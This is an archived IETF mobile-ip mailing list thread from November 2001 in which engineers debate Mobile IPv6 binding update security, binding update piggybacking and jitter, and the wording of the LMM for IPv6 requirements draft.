From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Additional comments on  draft-arkko-mipv6-bu-security-00.txt
To: Jari Arkko <Jari.Arkko@lmf.ericsson.se>
Cc: Erik.Nordmark@eng.sun.com, mobile-ip@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <3BFA30E7.A02189A5@lmf.ericsson.se>
Message-ID: <Roam.SIMC.2.0.6.1006258725.26726.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> > Section 8.6 says "In the use of existing IPsec ..."  but doesn't mention
> > that IKE would need to establish a SA using the Home Address by sending packets
> > to the Home Address. So while this doesn't change any packet formats it does
> > introduce a small behavioral change in an IKE implementation I think.
> 
> Wouldn't this work the same way as any TCP or UDP application, i.e.
> to them the CoAs are invisible?

I assumed 8.6 was related to using IKE/IPsec to secure BUs.
In this case, unless you assume that the certificate used by IKE somehow will
indicate that the holder of the cert "owns" a certain home address,
I think such an approach needs to rely on return routability.

Thus the IKE packets, even when there is a binding cache entry, needs to
go through the home agent when exchanging packets with the home address.
Otherwise it might be possible for an attacker on a link
where the MN used to be (i.e. that can intercept packets send to the old CoA
just after the MN left) to use IKE (with some random certificate name) to
create a SA that will be considered to be the MN.

   Erik



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 07:26:57 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA05381
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 07:26:56 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA10836;
	Tue, 20 Nov 2001 04:25:57 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA17206;
	Tue, 20 Nov 2001 04:25:50 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKCP0LS001309
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 04:25:00 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKCOxCZ001308
	for mobile-ip-dist; Tue, 20 Nov 2001 04:24:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKCOtLS001301
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 04:24:56 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAKCOmq27273;
	Tue, 20 Nov 2001 13:24:49 +0100 (MET)
Date: Tue, 20 Nov 2001 13:23:52 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-nordmark-mobileip-mipv6-hindsight-00.txt
To: Pekka Savola <pekkas@netcore.fi>
Cc: mobile-ip@sunroof.eng.sun.com, Erik Nordmark <Erik.Nordmark@eng.sun.com>
In-Reply-To: "Your message with ID" <Pine.LNX.4.33.0111201230260.1454-100000@netcore.fi>
Message-ID: <Roam.SIMC.2.0.6.1006259032.502.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> Well, IMO the possibilities are:
> 
> 1) "Accept anything" 
> 2.a) "Retrofit existing mechanism for security"
> 2.b) "Redesign more logically and securely"
> 
> I've tried hard to get requirements that would disallow 1) to the 
> SecReqs.. perhaps that'll come in the next revision...

Yes, I also think #1 is a non-option and that the security requirements
need to describe that at some high level.
(However, I don't know how to capture the various details you've described
about routing header issues in an abstract requirement sense without actually
describing the exact routing header mechanisms and the detailed issue.)

> If the total obtained security between 2.a) and 2.b) is roughly the same
> (or could be roughly the same), the focus turns to other issues, such as:
> 
>  - which is already implemented and tested
>  - which looks better and "more right"
>  - etc. etc.
> 
> Assuming we'd have to either enhance RH/HAO or to revamp the mechanism
> completely, which benefits (and drawbacks) would there be for each?  The
> benefits wrt. "accept anything" are interesting (and mostly already
> covered), but not a deciding factor here.

I hope that the discussed on the mailing list can actually help flush out
the pros and cons of 2a and 2b. 

   Erik



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 12:25:29 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21733
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 12:25:29 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA27509;
	Tue, 20 Nov 2001 10:23:24 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA26788;
	Tue, 20 Nov 2001 09:23:30 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKHMdLS001586
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 09:22:39 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKHMdeP001585
	for mobile-ip-dist; Tue, 20 Nov 2001 09:22:39 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKHMZLS001578
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 09:22:35 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA18491
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 09:22:15 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA26320
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:22:18 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fAKHMZl29463
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 09:22:35 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAJ23507;
	Tue, 20 Nov 2001 09:21:59 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA22441; Tue, 20 Nov 2001 09:22:34 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15354.37210.434322.41657@thomasm-u1.cisco.com>
Date: Tue, 20 Nov 2001 09:22:34 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] more about piggybacking.
In-Reply-To: <3BF99D9F.EB48AB63@iprg.nokia.com>
References: <200111191328.IAA26718@ietf.org>
	<3BF99D9F.EB48AB63@iprg.nokia.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Cedric Westphal writes:
 > Hi,
 > 
 > there was an intense debate a couple weeks ago over the merits of
 > piggybacking. So we put together a little bit of analysis to bring the
 > discussion on less intuitive and more mathematical grounds.
 > 
 > The outcome of it is dual:
 > - The percentage improvement in bandwidth utilization is typically
 >    small.
 > - The percentage improvement in jitter during handover is typically
 >    large - actually, very large.

   The problem here is that for things that are
   jitter sensitive, binding updates piggybacked
   or not are going to be inadequate in all but
   the most contrived laboratory settings. Speed
   of light, etc, mean that you need FMIP for fast
   convergence of the move, thus taking the long
   haul binding update out of the critical path.

 > This basically says that piggybacking will not allow a provider to squeeze
 > more people on the same link, but that by not having piggybacking, the
 > user gets a significantly worst QoS.

   This presupposes that:

   1) jitter is important across the board
   2) that piggybacking is the only impediment 
      to getting jitter sensitive traffic
      delivered within the proper bounds.

   Neither of these are true.

	   Mike


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 13:37:34 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27272
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 13:37:34 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA13074;
	Tue, 20 Nov 2001 10:34:27 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA04135;
	Tue, 20 Nov 2001 09:53:29 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKHqaLS001750
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 09:52:37 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKHqaFP001749
	for mobile-ip-dist; Tue, 20 Nov 2001 09:52:36 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKHqXLS001742
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 09:52:33 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA25969
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 09:52:10 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA19966
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:52:45 -0700 (MST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAKHqT524912;
	Tue, 20 Nov 2001 09:52:29 -0800 (PST)
Message-ID: <00f201c171eb$e5d1f500$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>, "Cedric Westphal" <cedric@iprg.nokia.com>,
        <Hesham.Soliman@era.ericsson.se>, <t.pagtzis@cs.ucl.ac.uk>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C055@Esealnt861.al.sw.ericsson.se> <3BF54E78.FD49E8C0@iprg.nokia.com> <0f4a01c1719e$0f63ba50$686015ac@docomocarl>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Tue, 20 Nov 2001 09:50:52 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Carl,

> 3.9 Support of Fast handoffs in LMMs
>
>    Mobility extensions have been proposed to quickly enable IP
>    connectivity of the MN at a new point of attachment; See [7]
>    for one example.
>
>    These enhancements are intended to minimize handoff latency
>    and reduce packet loss.  LMM and any standardized Mobile IPv6
>    handover algorithm  MUST BE able to be deployed independently
>    of each other.  However, when the two classes of protocols
>    co-exist, LMM and any Mobile IPv6 handover scheme MUST maintain
>    compatibility in their signaling interactions for fulfilling
>    complementary roles with respect to each other.
>
>    This requirement SHOULD NOT be interpreted as ruling out
>    useful optimizations of LMM and Mobile IPv6 handoff schemes
>    that simplify the implementation or deployment of LMM or Mobile
>    IPv6 handoff.
>

I still think this misses the point. There are two problems with the
requirement as written:

1) It still could be interpreted as excluding standard Mobile IPv6. I
think all reference to fast handover as opposed to handover at all
should be deleted.

2) The second and third paragraphs are in contradiction. The second
paragraph says that LMM and handover must be separately deployable, but
the third says that optimization is allowed. This still prohibits a
solution in which LMM and handover are combined.

The requirement should state that all handover algorithms must be
supported, period. It is up to the designers of the protocol to figure
out whether to use the same protocol, an optimization that combines a
specialized LMM protocol with one or more handover protocols, or a
completely separate protocol.

Here is what I think the wording needs;

1) The title should be "Support for Handover in IPv6".

2) The first paragraph should be removed.

3) The sentence "LMM and any standardized Mobile IPv6 handover algorithm
MUST BE able to be deployed independenlty
of each other." should be removed.

>
> I will rework the 3.2.6 (strong auth) requirement to address Hesham's
> concern.
> Once this new text has been worked out I will send to alias for
review.
>
> 3.2.6 Any LMM scheme MUST make use of a strong authentication
mechanism
>       to avoid a malicious MN from diverting traffic destined to a
>       legitimate MN.  LMM SHOULD also ensure that the network be able
>       to maintain topological confidentiality from visiting mobile
>       nodes.  That is to say that the LMM scheme in use SHOULD NOT
>       reveal the visited network's topology to the Mobile Node.
>

This requirement should stress that the authentication must be the same
as authentication for routers. I believe Hesham's comment was that
strong authentication implied that IPSEC must be used, and I don't think
that is the intention. The trust relationship between an LMM agent and
the MN must be at the same level as the trust relationship between the
MN and, for example, the access router. This is clearly a different
trust relationship between the MN and the CN, but it need not be
required to be constructed with IKE or use IPSEC (on the other hand, it
may in fact be).

            jak



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 13:42:29 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27640
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 13:42:29 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA15545;
	Tue, 20 Nov 2001 11:41:16 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA15341;
	Tue, 20 Nov 2001 10:24:54 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKIO0LS001876
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:24:00 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKIO0UF001875
	for mobile-ip-dist; Tue, 20 Nov 2001 10:24:00 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKINvLS001868
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:23:57 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA15120;
	Tue, 20 Nov 2001 10:23:54 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA27283;
	Tue, 20 Nov 2001 10:23:53 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id KAA12057;
	Tue, 20 Nov 2001 10:23:53 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAKINqG29200;
	Tue, 20 Nov 2001 10:23:52 -0800
X-mProtect:  Tue, 20 Nov 2001 10:23:52 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.141.130, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdJGXUdR; Tue, 20 Nov 2001 10:23:49 PST
Message-ID: <3BFA9FB5.84B17A4B@iprg.nokia.com>
Date: Tue, 20 Nov 2001 10:23:49 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Erik Nordmark <Erik.Nordmark@eng.sun.com>
CC: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] more about piggybacking.
References: <Roam.SIMC.2.0.6.1006250505.8798.nordmark@bebop.france>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Erik,

it is the same as acquisition delay: propagation delay has to be added to this.
I did not look at the difference between BU specific piggybacking and L2
piggybacking: it seems to me that they are different issues. L2 piggybacking would

bring pretty much the same benefits, but if BU pb is supported by the user and
the server, then the QoS/perceived jitter is improved independently of the
underlying link technology with BU pb.
Take care,

Cedric.


Erik Nordmark wrote:

> Your paper on p. 4 talks about "access delay" - is that thepropagation delay
> over the  access link or the delay to get access to the link to send a packet?
> I.e. it is the same as acquisition delay or something different?
>
> Did you look at the difference  between BU specific piggybacking and
> L2 piggybacking? (sending two IP packets in the same L2 frame)
>
>   Erik



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 13:44:21 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27758
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 13:44:21 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA16226;
	Tue, 20 Nov 2001 10:42:56 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA21734;
	Tue, 20 Nov 2001 10:41:38 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKIedLS002103
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:40:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKIeduv002102
	for mobile-ip-dist; Tue, 20 Nov 2001 10:40:39 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKIeZLS002095
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:40:36 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA10520
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 10:40:36 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA26442
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 11:40:51 -0700 (MST)
Received: from docomocarl (dhcp104.docomo-usa.com [172.21.96.104])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAKIeZ527256;
	Tue, 20 Nov 2001 10:40:35 -0800 (PST)
Message-ID: <0f8701c171f2$c905a820$686015ac@docomocarl>
From: "Carl Williams" <carlw@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>, "Cedric Westphal" <cedric@iprg.nokia.com>,
        <Hesham.Soliman@era.ericsson.se>, <t.pagtzis@cs.ucl.ac.uk>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C055@Esealnt861.al.sw.ericsson.se> <3BF54E78.FD49E8C0@iprg.nokia.com> <0f4a01c1719e$0f63ba50$686015ac@docomocarl> <00f201c171eb$e5d1f500$0e02320a@T23KEMPF>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Tue, 20 Nov 2001 10:40:11 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

----- Original Message -----
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>; "Cedric Westphal"
<cedric@iprg.nokia.com>; <Hesham.Soliman@era.ericsson.se>;
<t.pagtzis@cs.ucl.ac.uk>
Sent: Tuesday, November 20, 2001 9:50 AM
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)


> Hi Carl,
>
> > 3.9 Support of Fast handoffs in LMMs
> >
> >    Mobility extensions have been proposed to quickly enable IP
> >    connectivity of the MN at a new point of attachment; See [7]
> >    for one example.
> >
> >    These enhancements are intended to minimize handoff latency
> >    and reduce packet loss.  LMM and any standardized Mobile IPv6
> >    handover algorithm  MUST BE able to be deployed independently
> >    of each other.  However, when the two classes of protocols
> >    co-exist, LMM and any Mobile IPv6 handover scheme MUST maintain
> >    compatibility in their signaling interactions for fulfilling
> >    complementary roles with respect to each other.
> >
> >    This requirement SHOULD NOT be interpreted as ruling out
> >    useful optimizations of LMM and Mobile IPv6 handoff schemes
> >    that simplify the implementation or deployment of LMM or Mobile
> >    IPv6 handoff.
> >
>
> I still think this misses the point. There are two problems with the
> requirement as written:
>
> 1) It still could be interpreted as excluding standard Mobile IPv6. I
> think all reference to fast handover as opposed to handover at all
> should be deleted.
>

James,  I don't see that in the requirement.  The only mention of Fast
handofff
is in the title (which I can change to Supprt for Handover In IPv6").


> 2) The second and third paragraphs are in contradiction. The second
> paragraph says that LMM and handover must be separately deployable, but
> the third says that optimization is allowed. This still prohibits a
> solution in which LMM and handover are combined.
>

No.  This is not what this says.  Please read carefully:

.  LMM and any standardized Mobile IPv6
   handover algorithm  MUST BE able to be deployed independently
   of each other.  However, when the two classes of protocols
   co-exist, LMM and any Mobile IPv6 handover scheme MUST maintain
  compatibility in their signaling interactions for fulfilling
  complementary roles with respect to each other.





> The requirement should state that all handover algorithms must be
> supported, period. It is up to the designers of the protocol to figure
> out whether to use the same protocol, an optimization that combines a
> specialized LMM protocol with one or more handover protocols, or a
> completely separate protocol.
>

Agreed.  And that is what it states.  Indeed, I wrote the requirement
so in such away that LMM must be designed in such a way that
it can be deployed independently of any MIPv6 handover algorithm
or if the two protocols are deployed together, then LMM and the
MIPv6 handover scheme MUST maintain compatibility (they MUST
interwork with each other).



> Here is what I think the wording needs;
>
> 1) The title should be "Support for Handover in IPv6".
>

I have no problems with this.

> 2) The first paragraph should be removed.
>
I have no problems with this.

> 3) The sentence "LMM and any standardized Mobile IPv6 handover algorithm
> MUST BE able to be deployed independenlty
> of each other." should be removed.
>
> >

I disagree.  I think we should state this explicitly.

Carl

> > I will rework the 3.2.6 (strong auth) requirement to address Hesham's
> > concern.
> > Once this new text has been worked out I will send to alias for
> review.
> >
> > 3.2.6 Any LMM scheme MUST make use of a strong authentication
> mechanism
> >       to avoid a malicious MN from diverting traffic destined to a
> >       legitimate MN.  LMM SHOULD also ensure that the network be able
> >       to maintain topological confidentiality from visiting mobile
> >       nodes.  That is to say that the LMM scheme in use SHOULD NOT
> >       reveal the visited network's topology to the Mobile Node.
> >
>
> This requirement should stress that the authentication must be the same
> as authentication for routers. I believe Hesham's comment was that
> strong authentication implied that IPSEC must be used, and I don't think
> that is the intention. The trust relationship between an LMM agent and
> the MN must be at the same level as the trust relationship between the
> MN and, for example, the access router. This is clearly a different
> trust relationship between the MN and the CN, but it need not be
> required to be constructed with IKE or use IPSEC (on the other hand, it
> may in fact be).
>
>             jak
>
>



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 13:45:23 2001
Received: from saturn.sun.com (saturn.Sun.COM [192.9.25.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27840
	for <mobileip-archive@lists.ietf.org>; Tue, 20 Nov 2001 13:45:23 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA10181;
	Tue, 20 Nov 2001 10:44:40 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA19577;
	Tue, 20 Nov 2001 10:38:38 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKIbgLS002026
